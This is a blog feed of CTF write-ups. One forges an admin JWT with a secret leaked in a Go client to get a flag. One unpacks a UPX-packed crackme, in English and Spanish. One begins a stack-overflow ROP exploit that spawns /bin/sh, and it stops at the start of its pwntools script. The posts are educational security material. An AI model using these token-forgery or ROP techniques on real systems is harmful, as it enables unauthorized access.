Jekyll2021-02-01T10:46:25-03:00https://ogianatiempo.github.io/feed.xmlOctavio GianatiempoOctavio Gianatiempo hacking blog. Here you will find writeups of CTF challenges and boxes mainly from HackTheBox.Octavio GianatiempocliBrowser (Reversing) - 0x41414141 CTF [EN]2021-02-01T00:00:00-03:002021-02-01T00:00:00-03:00https://ogianatiempo.github.io/writeup/cliBrowser<p>This challenge consisted of a hint:</p>
<blockquote>
<p>Man I am so tired of that cringe web stack, it’s such a joke.
So I made my web app in the cli, because what’s better than fancy terminal</p>
</blockquote>
<p>And a binary named <code class="language-plaintext highlighter-rouge">client</code> that upon execution printed a banner (very cool btw) and displayed a prompt.</p>
<h2 id="first-impressions-and-reversing">First impressions and reversing</h2>
<p>I started by entering some random input and got back <code class="language-plaintext highlighter-rouge">invalid input provided</code>, so the logical step was to search for this string.
I jumped into IDA but I couldn’t find it in the strings subview and, in the process, observed that the binary was rather complex.
This made me suspect that I wasn’t dealing with a binary written in C and using <code class="language-plaintext highlighter-rouge">file</code> I learned that it was a Go binary:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file client
client: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=KzYxyAuY9brNuX9NUS2u/ym8cURI9XeMgdiUoZr5J/DKah0rAnpfyTzOgMU17e/c5XvA9s2PmKZA8gTeXuL, not stripped
</code></pre></div></div>
<p>However, I could find the text <code class="language-plaintext highlighter-rouge">invalid input provided</code> using the “sequence of bytes” search option and it appeared that all strings were concatenated together as one long string that IDA failed to recognize.</p>
<p><img src="/assets/images/posts/cliBrowser/00_strings.png" alt="output" /></p>
<p>It turns out that in Go, strings are not stored as null-terminated strings in the compiled binary. They are concatenated one after the other in the <code class="language-plaintext highlighter-rouge">.rodata</code> section.
Each sequence of bytes is pointed from a struct that also contains the string length. This was the struct that I defined:</p>
<p><img src="/assets/images/posts/cliBrowser/01_struct.png" alt="output" /></p>
<p>It was referenced by a function called <code class="language-plaintext highlighter-rouge">main_get_input</code> which was kind of complicated xD.</p>
<p><img src="/assets/images/posts/cliBrowser/02_funcion.png" alt="output" /></p>
<p>But I found that it compared some backward strings like exit or help.</p>
<p><img src="/assets/images/posts/cliBrowser/03_help.png" alt="output" /></p>
<p>And entering help as input printed a menu that displayed the valid inputs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ help
help page :
- login
- hello
- ping
- flag
- exit
</code></pre></div></div>
<p>However, there was one more string in the function that was not listed in the help menu: <code class="language-plaintext highlighter-rouge">secret</code>. When used as input the binary printed a string that appeared to be some kind of easter egg.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ secret
0x41414141 is 1337
</code></pre></div></div>
<h2 id="intercepting-network-traffic">Intercepting network traffic</h2>
<p>The name of the binary, the options displayed, and the hint suggested that the binary was just an interface for some API. So I decided to use the program while listening to the network traffic using Wireshark.</p>
<p>I tried to log in as admin and get the flag but failed. Then, I repeated the process with a random user but failed again with a different error. However, the packets captured revealed some interesting information:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /login HTTP/1.1
Host: 161.97.176.150:6666
User-Agent: Go-http-client/1.1
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
password=admin&username=admin
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Www-Authenticate: JWT realm=test zone
Date: Mon, 25 Jan 2021 16:24:30 GMT
Content-Length: 55
{"code":401,"message":"incorrect Username or Password"}
GET /auth/flag HTTP/1.1
Host: 161.97.176.150:6666
User-Agent: Go-http-client/1.1
Authorization: Bearer
Accept-Encoding: gzip
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
Www-Authenticate: JWT realm=test zone
Date: Mon, 25 Jan 2021 16:24:32 GMT
Content-Length: 46
{"code":401,"message":"cookie token is empty"}
</code></pre></div></div>
<p>When I tried to log in as admin the binary made a <code class="language-plaintext highlighter-rouge">POST</code> request to <code class="language-plaintext highlighter-rouge">/login</code>, but the response code was <code class="language-plaintext highlighter-rouge">401</code>. A <code class="language-plaintext highlighter-rouge">GET</code> request was made to <code class="language-plaintext highlighter-rouge">/auth/flag</code> when I tried to retrieve the flag and, again, the response was a <code class="language-plaintext highlighter-rouge">401</code>. It called my attention that the Authorization header was set in the request but there was no token and both responses had the www-Authenticate header type set to JWT. Now comes the interesting part. When I logged in as a random user, I got back a token and, when requested the flag, the response code changed to <code class="language-plaintext highlighter-rouge">200</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
POST /login HTTP/1.1
Host: 161.97.176.150:6666
User-Agent: Go-http-client/1.1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
password=test&username=test
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 25 Jan 2021 16:09:50 GMT
Content-Length: 211
{"code":200,"expire":"2021-01-25T18:09:50+01:00","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MTE1OTQ1OTAsImlkIjoidGVzdCIsIm9yaWdfaWF0IjoxNjExNTkwOTkwfQ.NmQ-N0hqJaY4NtjGJdJm1XFlsozyt-tB4CYLdtL4QoM"}
GET /auth/flag HTTP/1.1
Host: 161.97.176.150:6666
User-Agent: Go-http-client/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MTE1OTQ1OTAsImlkIjoidGVzdCIsIm9yaWdfaWF0IjoxNjExNTkwOTkwfQ.NmQ-N0hqJaY4NtjGJdJm1XFlsozyt-tB4CYLdtL4QoM
Accept-Encoding: gzip
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 25 Jan 2021 16:09:51 GMT
Content-Length: 64
{"flag":"sorry but you don't have access to this functionality"}
</code></pre></div></div>
<h2 id="so-what-are-jwts-anyway">So what are JWTs anyway?</h2>
<blockquote>
<p>JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.</p>
</blockquote>
<p>They are frequently used in web applications where, after a client successfully authenticates, the server generates and sends a token that has the claim “logged in as someusername”. The client can then use the token to prove to the server that it has logged in correctly. These tokens can be signed using a private key (usually called secret) that the server can use to verify their authenticity.</p>
<p>Now that I had a token, I went to <a href="https://jwt.io/">jwt.io</a> to decode its claim. The content was:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"exp": 1611594590,
"id": "test",
"orig_iat": 1611590990
}
</code></pre></div></div>
<p>And it was signed using HMAC-SHA256.</p>
<h2 id="profit">Profit</h2>
<p>Up to this point, I knew that:</p>
<ul>
<li>The binary was an interface for an API.</li>
<li>Whenever a user authenticated, the API returned a JWT.</li>
<li>The JWT contained the username in the <code class="language-plaintext highlighter-rouge">id</code> field.</li>
<li>Authentication worked for any user but admin (I tried some more :P).</li>
<li>The token was verified by the server when I tried to retrieve the flag.</li>
</ul>
<p>It was reasonable to think that if I crafted a JWT claiming to be the admin I could get the flag. The only problem was that I didn’t have the secret to sign it. Then, I remembered that the binary had the secret option that printed <code class="language-plaintext highlighter-rouge">0x41414141 is 1337</code>. It turned out that this was the private key used to sign the JWTs, so I crafted a new token claiming to be the admin and used it to get the flag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MTE1OTg0MDcsImlkIjoiYWRtaW4iLCJvcmlnX2lhdCI6MTYxMTU5NDgwN30.-w7i7E_b5BsmVFZuMS4HTUtmKuWFzXVetbzTr9ywc9I" http://161.97.176.150:6666/auth/flag
{"flag":"flag{3v3ry7h1ng_1s_ins3cure_:P}"}
</code></pre></div></div>Octavio GianatiempoThis challenge consisted of a hint:Echoes (Reversing) – H4ck3d CTF [EN]2021-01-17T00:00:00-03:002021-01-17T00:00:00-03:00https://ogianatiempo.github.io/writeup/Echoes_en<p>This binary is a reversing challenge from H4ck3d conference CTF.
You can download it <a href="/assets/binaries/Echoes/echo.zip">here</a>.
To solve it I had to unpack it and then used a crackme style approach.</p>
<p>I started by running the binary and exploring its behavior.
The program responds in different ways when the input length changes.
Here I show some examples.
In some cases error messages like <code class="language-plaintext highlighter-rouge">Error 0x432872</code> are displayed.</p>
<p><img src="/assets/images/posts/Echoes/03_test_input.png" alt="test input" />
<img src="/assets/images/posts/Echoes/04_test_input_mas_largo.png" alt="test input largo" />
<img src="/assets/images/posts/Echoes/04_test_input_mas_largo2.png" alt="test input mas largo" /></p>
<p>Then, I tried to disassembly the binary using IDA but the resulting code didn’t seem to match the observed behavior.
This led me to think that the code might be obfuscated or packed.
To check this, I used <a href="http://ntinfo.biz/index.html">Detect It Easy</a> and found that the binary had sections named TTX0 and TTX1.
This usually means that the binary was packed using <a href="https://upx.github.io/">UPX</a>.
Additionally, Detect It Easy has an heuristic scan that suggested that the binary was packed using UPX.
Another alternative is to use <a href="https://www.aldeid.com/wiki/PEiD">PEiD</a>.</p>
<p><img src="/assets/images/posts/Echoes/00_secciones.png" alt="secciones" />
<img src="/assets/images/posts/Echoes/01_UPX.png" alt="upx" /></p>
<p>UPX packer is frequently used because its free.
It can be used to unpack binaries too but I tried to use this feature without success.
This generally means that the binary has been modified to avoid unpacking or, in some cases, that a different version of UPX was used to pack it.
So I tried to unpack it manually using x32dbg.
To do this, I started by letting it run until user code:</p>
<p><img src="/assets/images/posts/Echoes/05_run_to_user.png" alt="ejecutar hasta codigo usuario" /></p>
<p>A UPX packed binary starts by pushing the registers to the stack to preserve them using the <code class="language-plaintext highlighter-rouge">pushad</code> instruction and then it executes the unpacking routines.
With this in mind, I tried the strategy of placing a hardware access breakpoint at the address of the last pushed register to stop the execution when the program retrieves the values using <code class="language-plaintext highlighter-rouge">popad</code> after the unpacking has finished.</p>
<p><img src="/assets/images/posts/Echoes/06_pushad.png" alt="pushad" /></p>
<p>First, I looked in the hexdump for the memory address pointed by <code class="language-plaintext highlighter-rouge">ESP</code>.</p>
<p><img src="/assets/images/posts/Echoes/07_dump.png" alt="esp en dump" /></p>
<p>Selected the 4 bytes pointed by <code class="language-plaintext highlighter-rouge">ESP</code> and set the breakpoint by right clicking and choosing “Breakpoint”, “Hardware, Access”, “Dword”.</p>
<p><img src="/assets/images/posts/Echoes/08_breakpoint.png" alt="breakpoint esp" /></p>
<p>Then, I continued the execution until the breakpoint was triggered, just after the <code class="language-plaintext highlighter-rouge">popad</code> instruction.
When the program has unpacked the code and restored the popped values, it jumps to the original entry point (<em>OEP</em>) that corresponds to the start of the unpacked code in memory.
This is known as <em>tail jump</em>.</p>
<p><img src="/assets/images/posts/Echoes/09_popad_jump.png" alt="popad" /></p>
<p>So I executed the binary until the <em>OEP</em> and used <em>Scylla</em> to <em>dump</em> the unpacked code from memory.
To do this, you have to choose <em>Scylla</em> from the “plugins” menu and press dump:</p>
<p><img src="/assets/images/posts/Echoes/10_scylla.png" alt="scylla" /></p>
<p>This <em>dump</em> won’t work out of the box because it has the import table broken (<em>IAT</em>).
To fix it, you have to press “<em>IAT Autosearch</em>” to find the table, “<em>Generate Imports</em>” to list the entries and “<em>Fix Dump</em>” to fix the table in the dumped executable.</p>
<p>After doing this, I had an unpacked working binary so I disassembled it using IDA and searched for the error string that I had observed while testing the program.</p>
<p><img src="/assets/images/posts/Echoes/11_busqueda_string_error.png" alt="busqueda string error" /></p>
<p>When I found the string, I used the cross-references feature (the shortcut is x key) to see where it was being displayed.</p>
<p><img src="/assets/images/posts/Echoes/12_referencia_al_string.png" alt="referencia al string" /></p>
<p>I found a function that was using the string but was not well reconstructed by IDA so I looked for the prologue and defined it manually (Right click and “<em>Create function</em>”).</p>
<p><img src="/assets/images/posts/Echoes/13_definir_funcion.png" alt="definir funcion" /></p>
<p>Then, I switched to the graphical view pressing space and this allowed me to see that the function executes a basic block and then performs a series of decisions that define which of the next blocks will be executed.
These are the ones that IDA displays side by side at the same height and one of them references the error string that I saw before.</p>
<p><img src="/assets/images/posts/Echoes/14_toma_decisiones.png" alt="decisiones" /></p>
<p>Zooming in a little I saw that which block will be executed depends exclusively on the value of <code class="language-plaintext highlighter-rouge">ESI</code> register.</p>
<p><img src="/assets/images/posts/Echoes/15_decision_segun_esi.png" alt="dependen de esi" /></p>
<p>Taking this into account together with the fact that the program behaves differently depending on the length of the string entered made me suppose that <code class="language-plaintext highlighter-rouge">ESI</code> stored the length of the string.
So I looked for another block that displayed a message (<em>Segmentation fault</em>) and checked which conditions were necessary to get there (yellow blocks).
The first comparison dictates that the length of the string must be greater or equal than 56 (<code class="language-plaintext highlighter-rouge">cmp esi, 38h</code> and <code class="language-plaintext highlighter-rouge">jge</code>), the second one is that the length should be less or equal than 72 (<code class="language-plaintext highlighter-rouge">cmp esi, 48h</code> and <code class="language-plaintext highlighter-rouge">jg</code>), and the last one is that the length must be equal to 72 (only <code class="language-plaintext highlighter-rouge">jz</code> since it uses the previous <code class="language-plaintext highlighter-rouge">cmp</code>).</p>
<p><img src="/assets/images/posts/Echoes/16_busco_otro_mensaje.png" alt="otro mensaje" /></p>
<p>To test this I built a 72 char string and when I entered it the program reached the basic block that prints <em>Segmentation fault</em>.
It also adds something that resembles the flag but it isn’t.
This confirmed that <code class="language-plaintext highlighter-rouge">ESI</code> holds the length of the string and which basic block executes depends on this.</p>
<p><img src="/assets/images/posts/Echoes/17_consigo_otro_mensaje.png" alt="consigo otro mensaje" /></p>
<p>Now, to get the flag, I searched for other block that didn’t have a hardcoded error message and checked the string length required to get there (green blocks).
In this case, the length must be greater than 72 and, the length minus 73 (<code class="language-plaintext highlighter-rouge">add esi, 0xFFFFFFB7</code>), 6 (<code class="language-plaintext highlighter-rouge">sub esi, 6</code>) and 2 (<code class="language-plaintext highlighter-rouge">sub esi, 2</code>) must be cero (<code class="language-plaintext highlighter-rouge">jz</code>).</p>
<p><img src="/assets/images/posts/Echoes/18_target.png" alt="target" /></p>
<p>Adding <code class="language-plaintext highlighter-rouge">0xFFFFFFB7</code> is in fact a subtraction because integers use <a href="https://en.wikipedia.org/wiki/Two%27s_complement">two’s complement</a> representation.
In the next image there is an example of how to make the conversion.
As a result of all this conditions, to trigger the execution of this block, the length of the string must be 81.
So finally, I entered a string with 81 chars to get the flag.</p>
<p><img src="/assets/images/posts/Echoes/19_largo_para_target.png" alt="consigo target" /></p>Octavio GianatiempoThis binary is a reversing challenge from H4ck3d conference CTF. You can download it here. To solve it I had to unpack it and then used a crackme style approach.Echoes (Reversing) – H4ck3d CTF [ES]2020-11-14T00:00:00-03:002020-11-14T00:00:00-03:00https://ogianatiempo.github.io/writeup/Echoes_es<p>Este binario es un desafío de la categoría Reversing del CTF de la conferencia H4ck3d. Lo pueden descargar <a href="/assets/binaries/Echoes/echo.zip">acá</a>. Para resolverlo tuve que desempaquetarlo a mano y después usé un enfoque similar al que se usa para resolver crackmes.</p>
<p>Arranqué ejecutandolo y pude ver que el programa responde de forma distinta según el largo del input. Acá hay algunos ejemplos para diferentes largos donde se puede ver que cambia la imagen que muestra. En algunos casos imprime un mensajes como <code class="language-plaintext highlighter-rouge">Error 0x432872</code>.</p>
<p><img src="/assets/images/posts/Echoes/03_test_input.png" alt="test input" />
<img src="/assets/images/posts/Echoes/04_test_input_mas_largo.png" alt="test input largo" />
<img src="/assets/images/posts/Echoes/04_test_input_mas_largo2.png" alt="test input mas largo" /></p>
<p>Luego, intenté desensamblarlo usando IDA pero el código que obtuve no parecía coincidir con la funcionalidad observada. Esto me llevó a suponer que podía estar ofuscado o empaquetado.
Para corroborarlo, usé <a href="http://ntinfo.biz/index.html">Detect It Easy</a> y pude ver las secciones TTX0 y TTX1 que suelen indicar que el binario fue empaquetado usando <a href="https://upx.github.io/">UPX</a>. Además, el escanéo heurístico también sugería que se usó UPX. Otra alternativa es usar <a href="https://www.aldeid.com/wiki/PEiD">PEiD</a>.</p>
<p><img src="/assets/images/posts/Echoes/00_secciones.png" alt="secciones" />
<img src="/assets/images/posts/Echoes/01_UPX.png" alt="upx" /></p>
<p>Este packer es bastante usado porque es libre y se puede desempaquetar usando el mismo programa. Lo intenté pero no pude, probablemente porque se modificó el binario para evitar esto o porque se usó otra versión o variante de UPX distinta a la que probé.</p>
<p>Entonces, decidí tratar de desempaquetarlo a mano usando x32dbg. Para eso primero lo dejé ejecutar hasta el código de usuario:</p>
<p><img src="/assets/images/posts/Echoes/05_run_to_user.png" alt="ejecutar hasta codigo usuario" /></p>
<p>Acá se puede ver que UPX comienza pusheando los registros al stack para preservarlos usando la instrucción <code class="language-plaintext highlighter-rouge">pushad</code> y luego comienza a ejecutar las rutinas para desempaquetar el código. Entonces decidí probar la estrategía de poner un breakpoint de acceso por hardware en el último registro pusheado para frenar la ejecución cuando el programa recupere los valores de los registros usando <code class="language-plaintext highlighter-rouge">popad</code>.</p>
<p><img src="/assets/images/posts/Echoes/06_pushad.png" alt="pushad" /></p>
<p>Para eso, primero ví en el volcado de memoria (Hexdump) la dirección de <code class="language-plaintext highlighter-rouge">ESP</code>.</p>
<p><img src="/assets/images/posts/Echoes/07_dump.png" alt="esp en dump" /></p>
<p>Seleccioné los 4 bytes apuntados por <code class="language-plaintext highlighter-rouge">ESP</code> y puse el breakpoint tocando el botón derecho del mouse para elegir “Punto de interrupción”, “Hardware, Acceso”, “Dword”.</p>
<p><img src="/assets/images/posts/Echoes/08_breakpoint.png" alt="breakpoint esp" /></p>
<p>Luego, continué la ejecución hasta que la misma se detuvo por el breakpoint justo después de ejecutar la instrucción <code class="language-plaintext highlighter-rouge">popad</code> como se muestra a continuación. Además, se puede ver que luego de recuperar los registros el programa termina haciendo un salto que se conoce como <em>tail jump</em> para ir al punto de entrada original (<em>OEP</em> por sus siglas en ingles) del programa, que ahora se encuentra desempaquetado en memoria.</p>
<p><img src="/assets/images/posts/Echoes/09_popad_jump.png" alt="popad" /></p>
<p>Entonces, continué la ejecución hasta el <em>OEP</em> y luego use <em>Scylla</em> para hacer un <em>dump</em> del programa desempaquetado en memoria. Para esto, hay que ir al menú de “plugins”, elegir <em>Scylla</em> y luego presionar dump como se muestra en la siguiente imagen.</p>
<p><img src="/assets/images/posts/Echoes/10_scylla.png" alt="scylla" /></p>
<p>Este <em>dump</em> no va a funcionar porque tiene la tabla de imports (<em>IAT</em>) rota. Para arreglarla hay que tocar “<em>IAT Autosearch</em>” para encontrar la tabla, “<em>Get Imports</em>” para listar las entradas y “<em>Fix Dump</em>” para arreglar la tabla en el <em>dump</em>.</p>
<p>Ahora que tenemos el <em>dump</em> del binario desempaquetado y andando podemos desensamblarlo. Yo usé IDA y arranqué buscando el <em>string</em> de error que vi cuando probaba entradas de distinto largo.</p>
<p><img src="/assets/images/posts/Echoes/11_busqueda_string_error.png" alt="busqueda string error" /></p>
<p>Luego, usé la herramienta de referencias cruzadas (tecla x) para ver en que parte del código se estaba usando el mensaje de error.</p>
<p><img src="/assets/images/posts/Echoes/12_referencia_al_string.png" alt="referencia al string" /></p>
<p>Con esto llegué a una función que IDA no definió correctamente. Entonces subí un poco hasta encontrar el prólogo de la función y la definí manualmente (Botón derecho, “<em>Create function</em>”).</p>
<p><img src="/assets/images/posts/Echoes/13_definir_funcion.png" alt="definir funcion" /></p>
<p>Pasé a la vista gráfica tocando la tecla espacio y esto me permitió ver que la función ejecuta un bloque básico y luego toma una serie de desciones que determinan cual de los siguientes bloques, que IDA grafica uno al lado de otro a la misma altura, se va a ejecutar. Uno de ellos es el que referencia al <em>string</em> de error que observé antes.</p>
<p><img src="/assets/images/posts/Echoes/14_toma_decisiones.png" alt="decisiones" /></p>
<p>Haciendo un poco de zoom pude ver que las decisiones se basan sólamente en el valor del registro <code class="language-plaintext highlighter-rouge">ESI</code>.</p>
<p><img src="/assets/images/posts/Echoes/15_decision_segun_esi.png" alt="dependen de esi" /></p>
<p>Esto, sumado a que el programa responde distinto según el largo del texto ingresado, me llevó a suponer que en <code class="language-plaintext highlighter-rouge">ESI</code> se guarda el largo del mismo y que el bloque a ejecutar depende de ese largo.</p>
<p>Entonces, busqué un bloque con otro mensaje (<em>Segmentation fault</em>) y miré que condiciones debían darse para que obtener ese mensaje (bloques amarillos). La primer comparación es que el largo sea mayor o igual a 56 (<code class="language-plaintext highlighter-rouge">cmp esi, 38h</code> y <code class="language-plaintext highlighter-rouge">jge</code>), la segunda es que sea menor o igual a 72 (<code class="language-plaintext highlighter-rouge">cmp esi, 48h</code> y <code class="language-plaintext highlighter-rouge">jg</code>) y la tercera es que sea igual a 72 (<code class="language-plaintext highlighter-rouge">jz</code>, usa el <code class="language-plaintext highlighter-rouge">cmp</code> anterior).</p>
<p><img src="/assets/images/posts/Echoes/16_busco_otro_mensaje.png" alt="otro mensaje" /></p>
<p>Armé un <em>string</em> de largo 72 y, al ingresarlo en el programa, observé que llega a ejecutar ese bloque básico que imprime <em>Segmentation fault</em> y además le agrega algo que parece la flag pero no es. Con esto pude confirmar que <code class="language-plaintext highlighter-rouge">ESI</code> contiene el largo del texto ingresado y la decisión de que bloque ejecutar depende de esto.</p>
<p><img src="/assets/images/posts/Echoes/17_consigo_otro_mensaje.png" alt="consigo otro mensaje" /></p>
<p>Entonces, busqué otro bloque que no tuviera uno de estos mensajes de error y miré las condiciones para llegar a su ejecución (bloques verdes). En este caso el largo del texto ingresado debe ser mayor a 72 y, al restarle 73 (<code class="language-plaintext highlighter-rouge">add esi, 0xFFFFFFB7</code>), restarle 6 (<code class="language-plaintext highlighter-rouge">sub esi, 6</code>) y restarle 2 (<code class="language-plaintext highlighter-rouge">sub esi, 2</code>), debe dar cero (<code class="language-plaintext highlighter-rouge">jz</code>).</p>
<p><img src="/assets/images/posts/Echoes/18_target.png" alt="target" /></p>
<p>La suma de <code class="language-plaintext highlighter-rouge">0xFFFFFFB7</code> es en realidad una resta porque los enteros usan la representación de <a href="https://es.wikipedia.org/wiki/Complemento_a_dos">complemento a 2</a>. En la siguiente imagen se muestra la conversión. Como resultado de todas las condiciones, el largo del texto debe ser 81. Entonces, ingresé un texto de largo 81 y pude obtener la flag.</p>
<p><img src="/assets/images/posts/Echoes/19_largo_para_target.png" alt="consigo target" /></p>Octavio GianatiempoEste binario es un desafío de la categoría Reversing del CTF de la conferencia H4ck3d. Lo pueden descargar acá. Para resolverlo tuve que desempaquetarlo a mano y después usé un enfoque similar al que se usa para resolver crackmes.ropmev2 (Pwn) – HackTheBox [EN]2020-11-02T00:00:00-03:002020-11-02T00:00:00-03:00https://ogianatiempo.github.io/writeup/ropmev2_en<p>This vulnerable binary is a retired Pwn challenge from HackTheBox. You can download it from <a href="/assets/binaries/ropmev2/ropmev2">here</a>. As its name suggests, to exploit it we must use <em>Return Oriented Programming</em> (ROP).</p>
<p>Let’s start by looking at the file type using <code class="language-plaintext highlighter-rouge">file</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ropmev2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0
</code></pre></div></div>
<p>It is a Linux 64 bit dynamically linked binary.</p>
<p>When executed, it prints “Please dont hack me” and waits for input.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span>./ropmev2
Please dont hack me
<span class="nb">test</span>
</code></pre></div></div>
<p>By using <code class="language-plaintext highlighter-rouge">checksec</code> we can see that the executable is not protected with a stack canary but it has the NX flag set. So it will be easy to overflow the stack but we cannot use it to execute shellcode. Also, the binary doesn’t have PIE enabled and will be executed on the same memory position every time facilitating exploitation. Given this combination of security measures, it makes sense to try to exploit it using ROP.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span>checksec ropmev2
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/octo/HTB/Challenges/Pwn/ropmev2/ropmev2'</span>
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE <span class="o">(</span>0x400000<span class="o">)</span>
</code></pre></div></div>
<p>When disassembling the binary we can see that it makes room for <code class="language-plaintext highlighter-rouge">0xd0</code> bytes in the stack for buffer by using the instruction <code class="language-plaintext highlighter-rouge">sub rsp, 0xd0</code> located at <code class="language-plaintext highlighter-rouge">0x40116f</code>. But then, it reads 500 bytes when calling <code class="language-plaintext highlighter-rouge">read</code> at position <code class="language-plaintext highlighter-rouge">0x4011b4</code>. In consequence, this buffer can be exploited.</p>
<p><img src="/assets/images/posts/ropmev2/disass.png" alt="desensamblado" /></p>
<p>On the other hand, if we write <code class="language-plaintext highlighter-rouge">DEBUG</code> in the buffer the program will print “I dont know what this is” followed by the buffer’s address. This is caused by the execution of the second basic block when the comparison located at <code class="language-plaintext highlighter-rouge">0x4011ca</code> results true.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span>./ropmev2
Please dont hack me
DEBUG
I dont know what this is 0x7ffca3dcda90
Please dont hack me
</code></pre></div></div>
<p>We don’t need that address anyway because when <code class="language-plaintext highlighter-rouge">main</code> returns, <code class="language-plaintext highlighter-rouge">rdi</code> will be pointing to the buffer as a consequence of the execution of the function that has been renamed as <code class="language-plaintext highlighter-rouge">screwBuffer</code>. You can check it by debugging the program with <code class="language-plaintext highlighter-rouge">gdb</code>. This new name for the function and why we need to point <code class="language-plaintext highlighter-rouge">rdi</code> to the buffer will make sense in a few paragraphs.</p>
<p>We are going to exploit the binary using ROP. This technique is based on using code fragments called gadgets that are already present in the executable. A gadget is a series of instructions that usually ends by executing <code class="language-plaintext highlighter-rouge">ret</code>. We can use these gadgets one after another as if they were calls to small functions with the difference that the calling instruction will be <code class="language-plaintext highlighter-rouge">ret</code> instead of <code class="language-plaintext highlighter-rouge">call</code>. The objective is to chain the execution of gadgets to get a shell. Because of this, it is necessary to craft the stack content carefully and position the “arguments” for each gadget after their address. This is illustrated in the following image (taken from <a href="https://link.springer.com/chapter/10.1007/978-3-319-49148-6_12">here</a>):</p>
<p><img src="/assets/images/posts/ropmev2/rop.gif" alt="esquema rop" /></p>
<p>We can look for gadgets present in the binary using <a href="https://github.com/JonathanSalwan/ROPgadget">ROPgadget</a>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ROPgadget <span class="nt">--binary</span> ropmev2
Gadgets information
<span class="o">============================================================</span>
0x00000000004010a9 : add ah, dh <span class="p">;</span> nop dword ptr <span class="o">[</span>rax + rax] <span class="p">;</span> ret
<span class="o">(</span>...<span class="o">)</span>
0x0000000000401168 : syscall
0x00000000004010d9 : xor al, 0x40 <span class="p">;</span> add bh, bh <span class="p">;</span> loopne 0x40114c <span class="p">;</span> nop <span class="p">;</span> ret
</code></pre></div></div>
<p>At <code class="language-plaintext highlighter-rouge">0x401168</code> we can find the <code class="language-plaintext highlighter-rouge">syscall</code> instruction that we can use to get a shell by executing <code class="language-plaintext highlighter-rouge">execve</code>. The arguments for this syscall can be found <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">here</a>.</p>
<table>
<thead>
<tr>
<th>rax</th>
<th>System call</th>
<th>rdi</th>
<th>rsi</th>
<th>rdx</th>
</tr>
</thead>
<tbody>
<tr>
<td>59</td>
<td>sys_execve</td>
<td>const char *filename</td>
<td>const char *const argv[]</td>
<td>const char *const envp[]</td>
</tr>
</tbody>
</table>
<p>We must find additional gadgets to set <code class="language-plaintext highlighter-rouge">rax</code>, <code class="language-plaintext highlighter-rouge">rsi</code> y <code class="language-plaintext highlighter-rouge">rdx</code>, and then use the <code class="language-plaintext highlighter-rouge">syscall</code> gadget. In this case, it is not necessary to set <code class="language-plaintext highlighter-rouge">rdi</code> because, as we mentioned before, it is already pointing to the buffer when <code class="language-plaintext highlighter-rouge">main</code> returns. We only need to write <code class="language-plaintext highlighter-rouge">/bin/sh</code> in the buffer, set <code class="language-plaintext highlighter-rouge">rax</code> to 59, and set <code class="language-plaintext highlighter-rouge">rsi</code> and <code class="language-plaintext highlighter-rouge">rdi</code> to <code class="language-plaintext highlighter-rouge">NULL</code>. For that purpose we’ll use the following gadgets:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">0x401162</code>: <code class="language-plaintext highlighter-rouge">pop rax; ret</code></li>
<li><code class="language-plaintext highlighter-rouge">0x401164</code>: <code class="language-plaintext highlighter-rouge">pop rdx; pop r13; ret</code></li>
<li><code class="language-plaintext highlighter-rouge">0x401429</code>: <code class="language-plaintext highlighter-rouge">pop rsi; pop r15; ret</code></li>
<li><code class="language-plaintext highlighter-rouge">0x401168</code>: <code class="language-plaintext highlighter-rouge">syscall</code></li>
</ul>
<p>To exploit the binary using these gadgets we can write a Python script using <code class="language-plaintext highlighter-rouge">pwntools</code> library:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\0</span><span class="s">"</span> <span class="c1"># buffer
